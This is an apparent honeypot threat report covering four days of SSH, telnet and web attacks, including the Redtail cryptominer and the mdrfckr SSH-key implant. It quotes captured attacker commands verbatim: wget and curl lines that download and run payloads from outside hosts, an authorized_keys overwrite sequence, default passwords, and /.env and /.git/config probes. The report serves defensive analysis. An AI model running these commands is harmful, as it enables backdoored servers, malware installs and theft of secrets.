HONEYPOT REPORT // SSH + TELNET + WEB // 2026-07-24 – 2026-07-27
2026-07-24 – 2026-07-27 — SSH, Telnet + Web Honeypot Report
SSH and telnet connection volume by day
Log filenames lag their contents by one day (UTC rollover); all figures here are keyed on record timestamps, not filenames.
Executive summary
One host dominates this period so completely that the aggregate numbers are close to meaningless without separating it out. 80.190.82.187 opened 27,509 sessions — 64% of everything the SSH sensor saw across four days — and in each one it issued a single command: echo -e "\x6F\x6B", which decodes to the string ok. No credentials harvested, no payload, no follow-up. It is a liveness check being run at industrial scale, and it produced the 30,622-session spike on July 25 that would otherwise look like an attack.
Underneath the noise, two campaigns continued unchanged. The mdrfckr SSH key implant ran 708 times, following its usual sequence: clear immutable flags on ~/.ssh, delete the directory, recreate it, and write a single attacker-controlled authorized_keys. Every instance wrote the identical file — sha256 a8460f44… — which means one operator, one key, and no per-target customization.
The Redtail cryptominer also reappeared with the same multi-architecture upload set: clean.sh, setup.sh, and binaries for arm7, arm8, i686, riscv, and x86_64. Shipping a RISC-V build to a honeypot that has advertised nothing about its architecture is a reasonable indicator that the operator is spraying rather than targeting.
The web sensor is quieter but shows the same actor. The user-agent libredtail-http appears 208 times — the Redtail campaign hitting HTTP and SSH from the same toolkit, which is the cross-sensor link worth following.
Notable sessions — SSH and telnet
command: echo -e "\x6F\x6B" → ok
auth: succeeded — Cowrie accepts any credential
hassh: 01ca35584ad5a1b66cf6a9846b5b2821
assessment: liveness/reachability probe, not exploitation
session: 55177b820ed7
chain: start → enable → config terminal → system → linuxshell → shell → sh
marker: echo -e '\x7A\x77\x7A\x75\x6E' → zwzun
note: escape sequence targets embedded router/DVR firmware CLIs
recon: ps -p $$ -o comm= ; uname -m
fetch: busybox wget -q -O /tmp/.x86_64 hxxp://51.75.118.165:20130/dl/BlahajNet.x86_64
execute: chmod 777 /tmp/.x86_64 && /tmp/.x86_64; rm -f /tmp/.x86_64
note: busybox-prefixed wget implies expectation of an embedded target
command: wget hxxp://5.182.210.61/ok -O /tmp/ok; curl hxxp://5.182.210.61/ok -o /tmp/ok; chmod 777 /tmp/ok; sh /tmp/ok; rm -rf /tmp/ok; rm -rf /tmp/ok.1
note: the trailing /tmp/ok.1 cleanup implies the author expects both tools to succeed
key comments: mdrfckr, rsa-key-20230629
sha256: a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2
technique: T1098.004 — SSH Authorized Keys
Notable sessions — web
requests: 208
significance: same operator across two sensors and two protocols
combined hits: 137
note: the variant list is the tell — this is a wordlist, not a targeted attempt
targets: AVTECH DVR firmware; Tenda router configuration endpoint
scanners: zgrab/0.x, Go-http-client/1.1
Indicators
Payload hosts and URLs
Reputation figures are AbuseIPDB confidence scores with total report counts in parentheses. Read them against the source addresses further down.
| host | serves | refs | score | network |
|---|---|---|---|---|
| 217.60.195.113 | Redtail telnet loader over HTTPS, cert validation disabled — nothing captured | 20 | 29% (7) | NL · SWISSNET LLC |
| 5.182.210.61 | /ok shell script, fetched with wget and curl in one line | 6 | 0% (1) | NL · SpectraIP B.V. |
| 51.75.118.165 | BlahajNet.x86_64 and loader.sh on :20130 | 2 | 9% (1) | FR · OVH SAS |
Payload hashes
Each hash links to VirusTotal rather than carrying a transcribed detection count, which would be stale within a month.
| sha256 | seen as | delivery | obs |
|---|---|---|---|
| 8a68d1c08ea31250063f70b1ccb5051db1f7ab6e17d46e9dd3cc292b9849878b virustotal → 07-25 → 07-30 |
Redtail staging archive | 130.12.180.51 (+2) | 14 |
| 197c74408e15bd1168105f564f96aace4fd4819961b724630bf5a6be4878daf8 virustotal → 07-25 → 07-30 |
clean.sh |
SCP upload · 130.12.180.51 (+2) | 14 |
| 31d4181843b1ed10a7e7cb3f108f6d6c50a7a4452ee52ddacabe8ca77260615e virustotal → 07-25 → 07-30 |
setup.sh |
SCP upload · 130.12.180.51 (+2) | 14 |
| 1eecf2377d20768c28d741e21affaa53cf26db0d083efdbf43a92fa938b7e4be virustotal → 07-25 → 07-30 |
redtail.arm7 |
SCP upload · 130.12.180.51 (+1) | 10 |
| be24e3ff143568fc82e42ed4aeee92e3f6f58c5fe3c5bb442cf4b998c90463d2 virustotal → 07-25 → 07-30 |
redtail.arm8 |
SCP upload · 130.12.180.51 (+1) | 10 |
| 2f206563640dd66a743ffd493ce0e3c31a8fc5a24b9f5d2b540fc22d45c13d66 virustotal → 07-25 → 07-30 |
redtail.i686 |
SCP upload · 130.12.180.51 (+1) | 10 |
Other captured artifacts
These were captured by the sensor and hashed alongside the payloads, but neither is a malware sample. Both are still usable indicators — the authorized_keys file is byte-identical across every mdrfckr instance, which makes it a reliable campaign signature. Expect low or zero detections on VirusTotal; that is the correct result for a text file and a newline, not a sign the lookup failed.
| sha256 | what it is | note | obs |
|---|---|---|---|
| a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 virustotal → 204 source IPs |
authorized_keys written by mdrfckr |
text file — a single attacker-controlled public key | 708 |
| 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b virustotal → 38 source IPs |
1-byte capture | sha256 of a single newline character | 22 |
Source addresses
Busiest sources on both sensors. Confidence tracks how often an address has been reported elsewhere, which is a measure of volume rather than of danger — compare these scores with the payload hosts above.
| source | sensor | count | score | reports | network |
|---|---|---|---|---|---|
| 80.190.82.187 | ssh/telnet | 27,509 | 100% | 222 | GB · Contabo GmbH |
| 185.242.3.195 | ssh/telnet | 2,337 | 100% | 19190 | DE · Felcloud |
| 45.156.87.254 | ssh/telnet | 1,243 | 100% | 3188 | NL · TechTies Inc. |
| 91.92.40.19 | ssh/telnet | 762 | 100% | 2472 | NL · TechTies Inc. |
| 77.239.124.249 | ssh/telnet | 762 | 100% | 1425 | NL · ROCKET & MARINICA LTD |
| 45.156.87.253 | ssh/telnet | 762 | 100% | 3040 | NL · TechTies Inc. |
| 77.239.124.245 | ssh/telnet | 762 | 100% | 1383 | NL · ROCKET & MARINICA LTD |
| 45.156.87.13 | ssh/telnet | 762 | 100% | 2493 | NL · TechTies Inc. |
| 149.28.58.172 | web | 525 | 100% | 49 | US · Vultr Holdings, LLC |
| 51.81.153.40 | web | 483 | 100% | 73 | US · OVH US LLC |
| 68.232.175.178 | web | 470 | 73% | 14 | US · Vultr Holdings, LLC |
| 20.24.211.16 | web | 158 | 100% | 169 | HK · Microsoft Corporation |
| 20.203.142.71 | web | 157 | 100% | 1698 | CH · Microsoft Corporation |
Attacker behaviour
Credentials attempted
| username | password | attempts |
|---|---|---|
root | 3245gs5662d34 | 684 |
345gs5662d34 | 345gs5662d34 | 670 |
root | admin | 118 |
admin | admin | 54 |
root | 12345678 | 23 |
root | 123456 | 22 |
root | 12345 | 21 |
root | <empty> | 20 |
root | 1234 | 20 |
root | ------fuck------ | 18 |
root | root | 18 |
root | 123 | 18 |
Client fingerprints
| fingerprint | type | sessions |
|---|---|---|
SSH-2.0-Go | version banner | 37,080 |
SSH-2.0-libssh_0.9.6 | version banner | 2,912 |
SSH-2.0-libssh_0.11.1 | version banner | 306 |
SSH-2.0-libssh-0.2 | version banner | 177 |
| 01ca35584ad5a1b66cf6a9846b5b2821 | HASSH | 27,508 |
| 0a07365cc01fa9fc82608ba4019af499 | HASSH | 5,936 |
| f555226df1963d1d3c09daf865abdc9a | HASSH | 2,892 |
Web paths requested
| request URI | hits |
|---|---|
/ | 797 |
<empty> | 287 |
/favicon.ico | 111 |
/SDK/webLanguage | 80 |
/login | 62 |
/.env | 45 |
/wp-admin/install.php?step=1 | 44 |
/robots.txt | 29 |
/.git/config | 23 |
/api/.env | 20 |
/app/.env | 20 |
/goform/set_LimitClient_cfg | 19 |
/.env.development | 18 |
/.env.local | 16 |
Raw log excerpts
slattery@sec:~/archive$ jq -r 'select(.eventid=="cowrie.command.input") | .input' cowrie.2026-07-24.json | sort | uniq -c | sort -rn | head -5
27507 echo -e "\x6F\x6B"
1070 uname -s -v -n -r -m
980 echo OK
708 cd ~; chattr -ia .ssh; lockr -ia .ssh
708 cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EA…
slattery@sec:~/archive$ jq -r 'select(.eventid=="cowrie.session.file_upload") | .filename' cowrie.2026-07-2*.json | sort | uniq -c
7 clean.sh
7 redtail.arm7
7 redtail.arm8
7 redtail.i686
7 redtail.riscv
7 redtail.x86_64
MITRE ATT&CK mapping
| ID | technique | observed as |
|---|---|---|
| T1595.001 | Active Scanning: Scanning IP Blocks | 27,509 sessions from 80.190.82.187 issuing only echo -e "\x6F\x6B" — reachability probing, no exploitation attempted |
| T1110.001 | Brute Force: Password Guessing | 40,525 auth attempts; root/3245gs5662d34 and 345gs5662d34 dominate the set |
| T1078.001 | Valid Accounts: Default Accounts | Vendor-shipped pairs including admin/admin and empty-password root |
| T1059.004 | Command and Scripting Interpreter: Unix Shell | 318-command telnet session from 36.32.156.65 walking enable → config terminal → system → linuxshell → shell → sh |
| T1082 | System Information Discovery | uname -s -v -n -r -m (1,070x); ps -p $$ -o comm= ; uname -m before payload selection |
| T1222.002 | Linux File and Directory Permissions Modification | chattr -ia .ssh; lockr -ia .ssh clearing immutable flags ahead of the overwrite |
| T1098.004 | Account Manipulation: SSH Authorized Keys | 708 mdrfckr executions writing a byte-identical authorized_keys across 204 sources |
| T1105 | Ingress Tool Transfer | busybox wget of BlahajNet.x86_64; wget and curl both issued against 5.182.210.61/ok in one line |
| T1573 | Encrypted Channel | 217.60.195.113 delivering over HTTPS with --no-check-certificate / curl -sk; nothing captured as a result |
| T1070.004 | Indicator Removal: File Deletion | rm -f /tmp/.x86_64 and rm -rf /tmp/ok immediately after execution |
| T1595.002 | Active Scanning: Vulnerability Scanning | Web sensor: /.env variants (137 hits), /SDK/webLanguage (80), /goform/set_LimitClient_cfg (19) |